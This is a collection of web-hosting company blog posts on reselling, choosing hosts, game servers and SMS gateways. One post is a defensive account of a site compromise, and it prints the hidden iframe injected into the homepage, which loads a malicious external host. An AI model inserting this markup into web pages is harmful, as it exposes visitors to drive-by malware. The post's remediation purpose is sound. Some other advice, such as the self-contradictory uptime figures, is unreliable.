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Resellers: thoughts toward sell more web hosting.

January 12th, 2011

1. Clearly define your audience:
this is one of those bits of advice that’s sounds blindingly obvious, but so few people actually do. We’ve seen big companies that couldn’t tell you who their core target audience is, or you’d get a different answer depending on who you spoke to. Ask yourself these questions…
• Who is our ideal customer?
• What do they want?
• Why should they choose me?
• Where do they go?
• How do I let them know I exist?

Life is so much easier once you have a clearly defined target market. You know what type of product to create, how much to charge for it, how to position your brand and where to advertise your services. Make the product fit the customer, not the customer fit the product.

2. Be creative with your marketing budget:
You can’t compete with the large web hosting company’s marketing budgets; it’s a simple as that. They spend £1m+ per year and if you try to go toe to toe with them, you’ll probably go bust. I’ve seen it happen a couple of times over the years I’ve been working in the industry. For example, the most competitive keywords advertising on Google are off limits to all but the biggest spenders with the average cost per click for “web hosting” currently running at £8. Some ideas you could pursue include:

• A lot of web hosts haven’t really got their head around social media. They have twitter accounts and pages on Facebook, but I’d argue 85% of them are poorly thought out or token efforts. That’s a gap for you to fill.

• Online press releases are great ways to announce news to a large audience, establish authority and build quality incoming links. At only £100 per release through a distribution service, this is great value for money.

• I personally would not go near the most competitive keywords through Google AdWords if I was on a limited budget but I would still use the Google Display Network. Put together a tight list of target sites and advertise your service there using graphical banners.

3. Assemble your customers:
Excellent customer support and product performance will lead to customers spreading the word without much encouragement. However, you can be more proactive than that and get even more customers to refer you to other people who are looking for web hosting. A refer a friend program with a financial incentive is a tried and tested way of getting customers to refer people. This can be in the shape of cash, credit or vouchers. Review sites are a big part of a customer’s journey. Unfortunately the reviews being left on these sites tend to be from customers who have had a bad experience, certainly much more than those who are happy. Companies are becoming wise to this and starting to counter the negativity by asking their customers to review them, and there is no reason why you can’t do the same.

4. Get to the know the web hosting industry:
You are not competing in a vacuum and the more you know about the industry you are operating in, the more successful you will be. Who are your competitors, where do people go to research web hosts and who are the major web hosting news outlets with the most authority? If you can answer all those questions, you can relax. If not, here are some links to get you started…

5. Sell the core products:
Shared hosting, domain names, dedicated servers email solutions are the bedrock of non-managed web hosting companies. They also offer huge cross sell and up sell opportunities. For example:
• Domains: More domains, email, shared web hosting, domain privacy
• Shared web hosting: Dedicated servers, Hosted Exchange, search engine submission, SSL certificates, higher spec hosting
• Dedicated servers: Server back up, higher spec servers, cpanel, MS SQL, Hosted Exchange, SS certificates

6. Get visitors to trust you:
If you are asking a customer to essentially look after their web site and make sure it is secure and always accessible, there has to be an element of trust on the part of the customer. The challenge is to make them trust you enough to hand over their money. You can reduce the level of perceived risk through an attractive and modern website. Nothing screams “Stay away” more than a website that looks like it escaped from the 90’s.

Beyond being sexy to look at, all but the most carefree of people like to know they are part of a group, it makes them feel more comfortable. Positive customer reviews and testimonials go a long way to relaxing potential customers. If you can source them, case studies are a great way of showing visitors their peers are already your customers.

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Most important factors.

December 28th, 2010

It is easy to overlook some of the most important factors when selecting a web host while paying too much attention on great features which you may not need at the start.

For example, most people judge a web host by the amount of disk space they offer. The thinking is generally, the more the better.

There are many other factors to take into consideration:

Tech Support- I don’t know about you, but I like the feeling of knowing that support is available when I need it. Test different companies before you sign up by sending them an email with a question or two. If they respond quickly, this is a good sign.

Uptime – The more uptime they guarantee the better. 99% uptime is the minimum acceptable standard. I look for 97%-99% guaranteed uptime.

Disk Space – Decide how much disk space you will require. A web page with one logo does not take up much web space at all. Calculate how big your web site is in relation to the disk space allotted.

Bandwidth – This factor is usually overlooked until the bandwidth limit is reached. If you go over your allotted bandwidth, you will get a hefty bill. If you are running a site with lots of downloads, or a site with lots of images such at a photo post site, your bandwidth will be a lot higher than a site with mainly text.

CGI Bin – This is now standard with good hosting companies. If you do not have access to your own CGI Bin, you cannot install scripts and programs.

Perl – If you do not have Perl, you cannot run Perl Programs. Many good scripts that you buy or get for free are written in Perl. In my opinion, it would be a limitation not to have the latest version of Perl installed.

SSL – If you intend to accept credit cards orders directly from your website, you will need Secure Socket Layer included in your plan. This is one of those easily overlooked features. You might sign up for a plan that looks attractive for whatever reason, then down the track, you might discover that you need this feature. If it is not included in your plan, you might be gob-smacked if the extra monthly charge is $10.00. To use this feature you need a merchant account. There is no need to make this a priority if you have no merchant account because you can use a third party credit card processor.

SSI – Server Side Includes are great if you want to spend minimal time updating your site. Here’s how it works. This page contains SSI’s. The left and right nav menus and the little search engine in the left nav menu are “included” with an SSI command in the master page template. If I need to update one of the nav links, there is no need to edit all the pages that contain the menus. I just edit the one page which contains the menu HTML and upload it to my site. It’s awesome.

MySQL – What scripts are you going to run? Some programs require a MySQL database to run. I had this problem with a particular webhost. They wanted to charge me $10.00 per month for a MySQL database. WOW. I just took out a new plan with another hosting company for under 10 bucks a month and 5 MySQL Databases are included in the price. Say no more.

PHP – Many new scripts and programs require PHP support. Again, this feature can be a $10 extra but most good hosts offer it standard. Imagine if you do not have PHP support but the latest new FREE top list, blogging script or shopping cart requires PHP. Again, this feature is almost standard these days.

Domain Name – What’s the point in buying web space if you cannot point your own domain name to the site? Some companies will help you register a domain name but you should compare prices and learn how to register your domain yourself. This way you are in control of your domain name if you ever change hosts.

FTP Access – Unlimited and unrestricted FTP access to your site is essential. You will need an FTP program to transfer files.

Control Panel – Not all control panels are the same. Some are easier to use than others. Some control panels the learning curve is steep while others are easy. If you select a plan where you cannot preview your control panel before you buy, you can always use the 30 day money back guarantee to get out if you are not happy. If they are not offering a working demo of the control panel, maybe they are not proud of it. In my experience, I have always been disappointed with the quality of the control panel when a demo was not available.

Statistics Program – A good stats program is handy if you want to keep an eye on how many visitors you are getting, where they are coming from, referrers, top entry and exit pages and so on. Some companies offer excellent stats programs as standard while others offer basic stats but you have to pay extra for advanced statistics. If you find a good hosting deal but the stats program is a bit basic, why not email the company and ask if they can install AWStats before you sign up. AWStats is an excellent FREE advanced statistics program.

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Benefits of dedicated servers in games website.

November 24th, 2010

Every once life one is the time when he/she have his own game to play. In today’s market you can see allover digital games are more popular like xbox360, play station and Nintendo games capture the game markets. But can you think it why everyone likes to play online? And this base idea of dedicated server games theme.

Everyone cannot afford to buy Xbox 360, play-station or Nintendo But; current games versions available on Internet are better than to play alone. There quality display, speed is specially made to give you a high quality excitement, and these kinds of things are possible through dedicated servers.

There quality, display, speed are in particular made to give you a far above the ground quality thrill, and these kinds of things are probable through dedicated servers. If you pay money for a game DVD, how much time you play? At one period, to play that game getting so boring, this is the major reason behind popularity of online games. With lend a hand of dedicated game servers’ people can play against someone else there is no want of same play station. This is the main reason, the online game providers never end require of dedicated game servers. Network bandwidth is one the crucial part in gaming business, because it must be compulsory always in upstream. Here home or office broadband Internet connection is not plenty. Normally with this type of connection, player does not get upstream bandwidth to host out-and-out game servers more than five to ten clients, but in the past years this is the only option was available for game hosting.

Couple of years before, the player who have the game, host the server and also run the client. However, on another side, the bandwidth provider of latest broadband service, handle the outgoing traffic at same time, therefore the host computer struggled to provide a good quality of service to the players on the network, while at the same time running the game on the same computer.

However, the online game providers realized, the importance of dedicated servers, because they need professional server to read data and transferring huge amounts of data as fast as players need it, therefore they purchased rack mounted server machines and collocated them inside Data Center Services to host their games Website. They paid monthly charges for it and the services they got is invaluable, these set ups improved the quality of their games.

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Guidelines about Reseller Web Hosting.

November 22nd, 2010

Reseller hosting offers small businesses and personal website owners the ability to give their clients web hosting at a reasonableprice. The premise behind the service is that the owner of the hosting account will offer some portion of their storage space and bandwidth to clients of theirs that only want the simplest of web hosting packages.

Typically, such resellers of hosting services generally team up with a bigger, better known service provider which presently possesses all of the support and infrastructure.

What can be the best advantage of a web hosting reseller? It is that one can gain few additional bucks’ collateral to web hosting. One can even make it as a full time source. Few of the web hosting resellers delivers a very good amount.

Selecting a correct Reseller web hosting:

It is not if one look for a web hosting reseller according to his/her requirement. One should search for a hosting reseller one whom one can rely upon, delivering excellent customer support. A good web hosting reseller provides all the necessary tools that are required for a successful website which helps in boosting one’s business.

What one would understand by the term Reseller Web Hosting?

A reseller will get a reseller hosting account through Reseller web hosting which later resell space and bandwidth to his/her own clients. This type of service demands a lump of space and bandwidth.

What the terms Web Hosting Reseller represent?

It refers to a person or a company that acts like an agent to resell the products and services related to hosting companies. Such a reseller can receive commissions and/or discounts from the respective web hosting Reseller Company. These resellers even get the right to build their own custom web reseller accounts for the purpose of re-sell the product to their respective customers.

One should know that to deal with a reseller web hosting company, he/she has to sacrifice some of the rights. One should need to ensure that he/she may not have to counter with the trouble of downtime. If this problem arises one may loose the link of crucial emails and/or sales coming through valuable clients.

If the quest ends on a right selection one can achieve heights in the reseller web hosting service sector. One can provide hosting service to the customers and conclude web site building at the same time. That’s the reason one should hunt for a web hosting company that puts the option of multiple hosting accounts along with their web hosting reseller services. After that, a web creator can involve in the hosting services of their client’s sites directly from their own respective reseller web hosting account.

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Beginner’s Guide to Web Hosting.

October 16th, 2010

Web hosting is an often overlooked, critical part of what makes the Internet function. Web hosting is the service that lets both individual people and businesses create their own spot on the internet, called a website. Companies that provide web hosting services have servers on which the data that makes up the website is hosted. Website owners, called webmasters, give their data files to the web host for storage and publication to the internet. This is what allows people anywhere to use the internet to access that person or company’s website.

While there is a multitude of web hosting service providers available, there are only two main types of web hosting, free hosting and paid hosting. Free webhosting is great for individuals or for new businesses with a small budget for their web presence. Paid web hosting is more suitable for established businesses, and provides more space and features for the hosted website.

If you search online for a paid web host, you will find you have many different choices. The price you will pay for web hosting largely depends on the type of services provided. Shared web hosting, where your website is one of hundreds located on a particular server and has a shared IP address, will be significantly cheaper than dedicated web hosting, where your site is the only site that resides on its server.

Regardless of the provider you select, your web hosting service will provide your website with many benefits. The first and most basic is a simple presence on the internet. This provides you with storage space for all of the files and data that comprise your website, including pictures, audio or video. An average amount of space that a web hosting service provider provides to a webmaster is approximately 1GB, but some more expensive website hosting packages can provide as much as one hundred times that amount, or even more.

Another great benefit that comes with your web hosting package is bandwidth. Bandwidth is a measure of the amount of data traffic that can occur between your website and the rest of the internet. If you have a sufficient amount of bandwidth for your website, your site will be easier for visitor to view the site. If you do not have adequate bandwidth, items such as pictures, audio and video will not be able to load onto the page quickly, and can be very frustrating for those attempting to use the website. Providing your website with enough bandwidth is a critical function of your web hosting service provider. Most providers have different web posting packages with differing amounts of bandwidth included to meet the varied needs of different types of websites.

As you can see, web hosting services provide you with a whole range of options for this essential piece of your website puzzle. No matter what you need, there is a package for you.

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Solution for ‘This site may harm your computer’ Message

September 21st, 2010

Solution for ‘This site may harm your computer’ Message

We run a web hosting company and recently we noticed many customers completing acting weird with the following messages in google search results and when they access it. When they do a site:mywebsite.com search in google, they get a message below the search result stating that ‘This site may harm your computer.’ which is making lose visitors, apart from which many peoples not able to access website. What may be the problem, because when they try to visit website they get a message stating that – ‘Reported Attack Site!’ and it says that my website is trying to install programs which can steal private information or damage the visitors computers but they run a genuine information website and have no downloads nor any illegal material. What may be the solution for this problem and website hacked? – Question by a Reader through Phone

First of all you need to understand that these are some badware warning against malicious software which is given by Google through stopbadware.org which warns all the google searchers against visiting websites which can be harmful to them. You need to detect malware and also visit the google safe browsing section which lists all the information about different websites and if they were listed as suspicious in the last 90days.

Reported Attack Website – Harmful Content

Sometimes because of some wrong permissions on your website scripts like wordpress or when you have easy passwords for your FTP accounts, your websites can be compromised after which these hackers would add some malicious links within your content or in the footer section using direct links with visibility=0 or else using iFrames. You need to continuously make sure that your websites content is secure and you have no links placed by the hackers anywhere on your ftp.

Read this wordpress security guide which can give you some important points you need to make note of while running a blog and also here are some plugins which you need to run on your wordpress blog to make sure you can regularly scan for the content of your blog and all he plugin files and theme files.


Harmful Websites Google Warning

Our Experience :
Recently after making a quick check on our website, we found that there were some iframe codes added to our website homepage which we could not detect. So because of this for many customer our website was not  accessible the website with a virus message.  Many antivirus software even removed the virus from user which got downloaded, and then user recieved the following message :

HTTP filter file http://www.emailloop.net  PDF/Exploit.Pidief.OJS.Gen trojan connection terminated – quarantined  Threat was detected upon access to web by the application: C:\Program Files\Mozilla Firefox\firefox.exe.

When we review our site we found the following iframe added to the files at the end which is the reason the homepage was continiously loading like a loop and was also breaking the theme files, though as a normal user anyone cannot find out this malicious code in the blog, unless the antivirus softwares can find them.

<iframe src=”http://brugeni.net/?click=44E729″ width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

Solution for Removing the iFrames :
There are several wordpress plugins which can help you stay secure by checking all the file permissions, blog content and your ftp files. Here are few recommendations :

* WP Security Scan -
Scans your WordPress installation for security vulnerabilities and suggests corrective actions. You need to install this plugin in your wordpress blog and then activate it, following which you will find a complete new menu called as ‘WP – Security Admin Tools’ where you can find all the System Information & links to scanner where you can find all the current permissions of the files under your root folder and the permissions you need to change for more security.
-passwords
-file permissions
-database security
-version hiding
-WordPress admin protection/security
* Secure WP Plugin
This plugin is very useful because it does a lot of stuff by creating some pages which can be accessed by others and removing info from your website which should not be allowed to be accessed by others.

# removes error-information on login-page
# adds index.html to plugin-directory (virtual)
# removes the wp-version, except in admin-area
# removes Really Simple Discovery
# removes Windows Live Writer
# remove core update information for non-admins
# remove plugin-update information for non-admins

Steps to Remove the Warning :
Once the warning is shown for your website, expect 0% visitors for your website from Google because the warning message will block the visitors from entering into the site. You need to get this warning removed by Google as soon as possible and for this the very first step would be to remove the malicious links, hackers codes or any other stuff which was the cause of this warning. Once you are sure that you have found the problem and removed those codes you need to proceed to the next step of contacting Google.

Login to your Google Webmaster tools account which is also useful for regaining google rankings. You need to make sure you have added your website in the Webmaster Tools by confirming that you are owner by adding the ‘Meta’ code or uploading a file which it offers you. Once this is done you need to perform the following 3 steps and wait for Google Webmaster Team to review your website and confirm that your website does not distribute badware or hosts it.

1. On the Webmaster Tools Home page, select the site you want.
2. In the Parts of this site may be distributing malware message, click More details.
3. Click Request a review.

Previously it used to take a lot of time for this procedure but nowadays within 2-3days time frame the websites are reviewed and the warning is removed.  Let me know if you have any questions about this problem and if your website is attacked with any of this kind of problems.

Read more  Iframe / Virus in Website Pages, How to Fix Iframe issue

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Benefits of SMS GatewaySMS Applications

May 5th, 2010

SMS Gateway – Creative Web Designers can manage simultaneous connections to one or more SMSCs, supporting the major SMSC protocols, including SMPP, UCP/EMI, CIMD2, HTTP, and/or GSM modems. Creative Web Designers handles the low level protocol details, and makes it easy to switch between different providers, as well as making it easy to add additional connections for situations where it is advantageous to route messages for different countries via different providers.

Creative Web Designers offers simple SMS gateway connectivity for those who need to SMS-enable their systems, websites, or applications. Using Creative Web Designers API (Application Programming Interface) integration is fast, simple and reliable.
Our API is immediately multicast messaging enabled, allowing integration to any front-end or legacy system, with a direct connection into Creative Web Designers global gateways.
Learn more about each of our API connectivity options below:

  • HTTP/S API
    Our most popular connection, HTTP is one of the simpler forms of communication to the Creative Web Designers API. It is used in the form of an HTTP/Internet Post.
  • SMTP [E-mail to SMS] API
    Another firm favourite, the SMTP API allows messages that are sent via e-mail to be converted to SMS. Popular with customers who already have an e-mail messaging system in place.
  • SMPP API
    Our most robust connection, suitable for customers who send large volumes of traffic. Creative Web Designers offers a global SMPP connection using the SMPP 3.3 standard. Customers are required to have SMPP client software in place, and unlike our other APIs there are minimum volume requirements when using SMPP.
  • XML API
    If you are familiar with XML, Creative Web Designers offers an XML interface with its own set of DTDs. Currently supports XML over HTTP.
  • FTP API
    Suitable for once off, high volume messaging. The FTP upload facility allows customers to upload text files to Creative Web Designers FTP site, and have the files automatically dispatched to message recipients.
  • COM Object API
    Popular with windows-based developers, the Creative Web Designers COM API object’s rich set of methods and definitions make it easy for a user to integrate SMS sending into their programs or ASP pages.
  • http://www.version-next.com/bulk-sms/index.html

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Shared Hosting is a great solution

April 26th, 2010

shared hosting service could be perfect. A shared hosting service is a website hosting service where many websites ‘live’ on a single Internet server. Each site has its own area to separate it from the others, but all users share the cost of the service. Shared hosting typically uses a web-based control panel systems. Shared hosting can also be done privately by sharing the cost of running a server in a co-location centre. The shared hosting service includes system administration.

In a crowded marketplace, Cyber Host Pro stands out, offering shared hosting plans packed with a wide range of services and features, including the latest email systems. Shared hosting plans vary depending on what you want to do with your site – we’ll talk to you to find out what you want. But, whether you’re a home or business user, we can cater for your shared hosting needs.

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